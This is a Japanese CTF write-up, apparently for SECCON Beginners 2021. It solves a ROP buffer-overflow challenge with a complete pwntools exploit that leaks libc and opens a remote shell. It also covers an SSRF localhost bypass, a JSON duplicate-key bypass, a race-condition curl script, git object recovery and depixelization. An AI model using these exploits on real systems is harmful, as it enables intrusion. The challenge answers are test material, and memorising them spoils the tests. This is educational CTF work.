'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%'
gdb-peda$ run
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b003c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a 
RDI: 0x1 
RBP: 0x2541322541632541 ('A%cA%2A%')
RSP: 0x7fffffffe208 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
RIP: 0x4011c9 (<main+51>:       ret)
R8 : 0x7ffff7dd59e0 --> 0x0 
R9 : 0x0 
R10: 0x7fffffffdec0 --> 0x0 
R11: 0x246 
R12: 0x4010b0 (<_start>:        endbr64)
R13: 0x7fffffffe2e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011be <main+40>:  call   0x401070 <puts@plt>
   0x4011c3 <main+45>:  mov    eax,0x0
   0x4011c8 <main+50>:  leave  
=> 0x4011c9 <main+51>:  ret    
   0x4011ca <setup>:    endbr64 
   0x4011ce <setup+4>:  push   rbp
   0x4011cf <setup+5>:  mov    rbp,rsp
   0x4011d2 <setup+8>:  mov    rax,QWORD PTR [rip+0x2e87]        # 0x404060 <stdin@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0008| 0x7fffffffe210 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0016| 0x7fffffffe218 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0024| 0x7fffffffe220 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0032| 0x7fffffffe228 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0040| 0x7fffffffe230 ("A%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%")
0048| 0x7fffffffe238 ("iA%8A%NA%jA%9A%OA%kA%PA%")
0056| 0x7fffffffe240 ("%jA%9A%OA%kA%PA%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011c9 in main ()
gdb-peda$ patto HA%dA%3A%IA%eA%4A%JA%fA
HA%dA%3A%IA%eA%4A%JA%fA found at offset: 264

次に、puts を呼び出して puts のアドレスをリークさせる。リークさせたアドレスを使って libc のベースアドレスを求める。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './chall'
LIBC = './libc-2.27.so'
HOST = 'beginners-rop.quals.beginners.seccon.jp'
PORT = 4102

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    # Leak libc_base

    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')
    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 264
    p = b'A' * offset
    p += rop.chain()
    
    io.sendline(p)
    io.readuntil('\n') # skip
    rdata = io.readuntil('\n').strip()

    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')


def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()

上記のスクリプトを実行すると、以下のように表示され、libc のアドレスを求めることができた。

$ python3 exploit.py REMOTE
[*] '/root/workdir/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './chall'
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
[*] '/root/workdir/beginners_rop/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x404018
[*] 0x0000:         0x401283 pop rdi; ret
    0x0008:         0x404018 [arg0] rdi = got.puts
    0x0010:         0x401074 puts
    0x0018:         0x401196 main()
[*] puts_addr: 0x7f359d388aa0
[*] libc_base: 0x7f359d308000
[*] Switching to interactive mode
$

最後に、ROPgadget で libc の ROPチェインを作って実行させれば、シェルを取ることができる。

$ ROPgadget --binary ./libc-2.27.so --ropchain

# snip

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret
        p += pack('<Q', 0x00000000003eb1a0) # @ .data
        p += pack('<Q', 0x0000000000043ae8) # pop rax ; ret
        p += '/bin//sh'
        p += pack('<Q', 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret
        p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret
        p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8
        p += pack('<Q', 0x00000000000b15a5) # xor rax, rax ; ret
        p += pack('<Q', 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret
        p += pack('<Q', 0x00000000000215bf) # pop rdi ; ret
        p += pack('<Q', 0x00000000003eb1a0) # @ .data
        p += pack('<Q', 0x0000000000023eea) # pop rsi ; ret
        p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8
        p += pack('<Q', 0x0000000000001b96) # pop rdx ; ret
        p += pack('<Q', 0x00000000003eb1a8) # @ .data + 8
        p += pack('<Q', 0x00000000000b15a5) # xor rax, rax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000001af1f7) # inc eax ; ret
        p += pack('<Q', 0x00000000000013c0) # syscall

python3 用に少し調整して、バッファオーバフロー後に実行させるようにする。

#!/usr/bin/env python3
from pwn import *

ARCH = 'amd64'
FILE = './chall'
LIBC = './libc-2.27.so'
HOST = 'beginners-rop.quals.beginners.seccon.jp'
PORT = 4102

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    # Leak libc_base
    puts_got = elf.got['puts']
    log.info(f'puts_got: {hex(puts_got)}')
    rop.call('puts', [puts_got])
    rop.call('main')
    log.info(rop.dump())

    offset = 264
    p = b'A' * offset
    p += rop.chain()
    
    io.sendline(p)
    io.readuntil('\n') # skip
    rdata = io.readuntil('\n').strip()

    puts_addr = int.from_bytes(rdata, 'little')
    log.info(f'puts_addr: {hex(puts_addr)}')

    puts_offset = libc.symbols['puts']
    libc_base = puts_addr - puts_offset
    log.info(f'libc_base: {hex(libc_base)}')

    # ROP (REMOTE only)
    offset = 264
    p = b'A' * offset

    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000043ae8) # pop rax ; ret
    p += b'/bin//sh'
    p += pack(libc_base + 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b15a5) # xor rax, rax ; ret
    p += pack(libc_base + 0x0000000000030a2c) # mov qword ptr [rdx], rax ; ret
    p += pack(libc_base + 0x00000000000215bf) # pop rdi ; ret
    p += pack(libc_base + 0x00000000003eb1a0) # @ .data
    p += pack(libc_base + 0x0000000000023eea) # pop rsi ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret
    p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8
    p += pack(libc_base + 0x00000000000b15a5) # xor rax, rax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000001af1f7) # inc eax ; ret
    p += pack(libc_base + 0x00000000000013c0) # syscall

    io.sendline(p)    

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()

上記のスクリプトを実行すると、シェルを取ることができた。

$ python3 exploit.py REMOTE
[*] '/root/workdir/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './chall'
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
[*] '/root/workdir/beginners_rop/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts_got: 0x404018
[*] 0x0000:         0x401283 pop rdi; ret
    0x0008:         0x404018 [arg0] rdi = got.puts
    0x0010:         0x401074 puts
    0x0018:         0x401196 main()
[*] puts_addr: 0x7f522e1f6aa0
[*] libc_base: 0x7f522e176000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96{\x17R\x7f
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}

ctf4b{H4rd_ROP_c4f3}

web

check_url

Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/
index.php 8524943bf9415bf35516300bf6e16030e0cdd583
想定難易度: Easy

以下の URL にアクセスすると、画像のように表示される。
https://check-url.quals.beginners.seccon.jp/?url=https://www.example.com

GETパラメータで指定した URL のページを iframe 内で表示させている。

f:id:tsalvia:20210524051107p:plain

index.php は以下のようになっている。

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

127.0.0.1 にアクセスすれば、フラグが表示される。

以下のページを参考に http://0x7f000001 と指定してみると、フラグが表示された。

https://hackerone.com/reports/303378

f:id:tsalvia:20210524052750p:plain

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json

外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/
json.tar.gz ce98dc233a9d77370045f306eb80cf73a17016f3
想定難易度: Medium

https://json.quals.beginners.seccon.jp/ にそのままアクセスすると、以下のように表示される。

f:id:tsalvia:20210524075610p:plain

HTTP ヘッダに X-Forwarded-For: 192.168.111.1 を指定して開いたところ、内部ページにアクセスすることができた。 ただし、Select item で Flag を指定して Submit しても Error が表示されてしまう。

f:id:tsalvia:20210524075936p:plain

./json/bff/main.go の該当する処理を確認してみると、以下のようになっていた。

   r.POST("/", func(c *gin.Context) {
        // get request body
        body, err := ioutil.ReadAll(c.Request.Body)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to read body."})
            return
        }

        // parse json
        var info Info
        if err := json.Unmarshal(body, &info); err != nil {
            c.JSON(400, gin.H{"error": "Invalid parameter."})
            return
        }

        // validation
        if info.ID < 0 || info.ID > 2 {
            c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
            return
        }

        if info.ID == 2 {
            c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
            return
        }

        // get data from api server
        req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }
        req.Header.Set("Content-Type", "application/json")
        client := new(http.Client)
        resp, err := client.Do(req)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }
        defer resp.Body.Close()
        result, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            c.JSON(400, gin.H{"error": "Failed to request API."})
            return
        }

        c.JSON(200, gin.H{"result": string(result)})
    })

試しに id を2つ指定してリクエストを投げてみたところ、フラグが表示された。

f:id:tsalvia:20210524081036p:plain

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_usb_db

Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
cant_use_db.tar.gz 1cded20dd165e1eca3cc12bee2010e65fe6ba9ea
想定難易度: Medium

https://cant-use-db.quals.beginners.seccon.jp/ にアクセスすると、以下のように表示された。 フラグを取得するには、Noodles 2つ と Soup 1 つを購入する必要がある。

f:id:tsalvia:20210524053943p:plain

app/app.py の購入処理を確認してみると、以下のようになっていた。排他制御はなく、なぜか sleep が入っている。

# snip

@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"

# snip

curl を 3つほぼ同時に実行して、noodle 2 つと soup 1 つを素早く購入する。
購入後、少し待ってから https://cant-use-db.quals.beginners.seccon.jp/eat にアクセスすれば、フラグが手に入る。

#!/bin/bash
curl -c cookie.txt https://cant-use-db.quals.beginners.seccon.jp/ --insecure -s > /dev/null
curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s &
curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s &
curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_soup --insecure -s &

sleep 5; curl -b cookie.txt https://cant-use-db.quals.beginners.seccon.jp/eat --insecure

上記を実行してみると、フラグが表示された。

$ bash -x ./solve.sh
+ curl -c cookie.txt https://cant-use-db.quals.beginners.seccon.jp/ --insecure -s
+ curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s
+ curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_noodles --insecure -s
+ curl -b cookie.txt -X POST https://cant-use-db.quals.beginners.seccon.jp/buy_soup --insecure -s
+ sleep 5
💸💸$20000💸$10000💸$10000+ curl -b cookie.txt https://cant-use-db.quals.beginners.seccon.jp/eat --insecure
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

misc

git-leak

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61
想定難易度: Easy

.git があるので、git cat-file ですべて取り出して grep するとフラグが表示された。

$ cd dist
$ ls -a
.  ..  .git  README.md  note.md
$ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt
$ cat output.txt | grep ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

depixelization

Can you depixelize it ? depixelization.tar.gz be6484841b5f6086c9f2609fdce5622313308688 想定難易度: Medium

pixelization.py と output.png が与えられている。
フラグ文字列を画像に描き込んで、P、I、X を重ね塗りし、解像度を落としたものを output.png として出力するスクリプトになっている。

import cv2
import numpy as np

flag = "**********flag**********"

print("FLAG: " + flag)

images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)

for i in flag:

    # char2img
    img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
    cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

    # pixelization
    cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
    cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
    simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
    img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)

    # concat
    if images.all():
        images = img
    else:
        images = cv2.hconcat([images, img])

cv2.imwrite("output.png", images)

output.png は、以下のようになっている。

f:id:tsalvia:20210524070101p:plain

pixelization.py を少し書き換えて、以下の2つの画像を出力するようにした。

  • フラグ文字列の代わりに空白を描き込んだ画像(empty.png
  • すべての文字列を描き込んだ画像(string.png
import cv2
import numpy as np
import string

def create_image(chars):
    images = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)

    for i in chars:
        # char2img
        img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
        cv2.putText(img, i, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

        # pixelization
        cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
        simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
        img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)

        # concat
        if images.all():
            images = img
        else:
            images = cv2.hconcat([images, img])
    return images


def main():
    images = create_image(" " * 31)
    cv2.imwrite("empty.png", images)

    images = create_image(string.printable)
    cv2.imwrite("string.png", images)


if __name__ == '__main__':
    main()
$ python3 -m pip install opencv-python
$ python3 create_images.py
$ ls
create_images.py  empty.png  output.png  pixelization.py  string.png

青い空を見上げればいつもそこに白い猫の画像合成機能で
output.png と empty.png の相違箇所を抽出すると、以下のようになった。

f:id:tsalvia:20210524071703p:plain

分かりにくい文字は、string.png を見比べてながら、文字を書き出したところフラグになった。

ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}

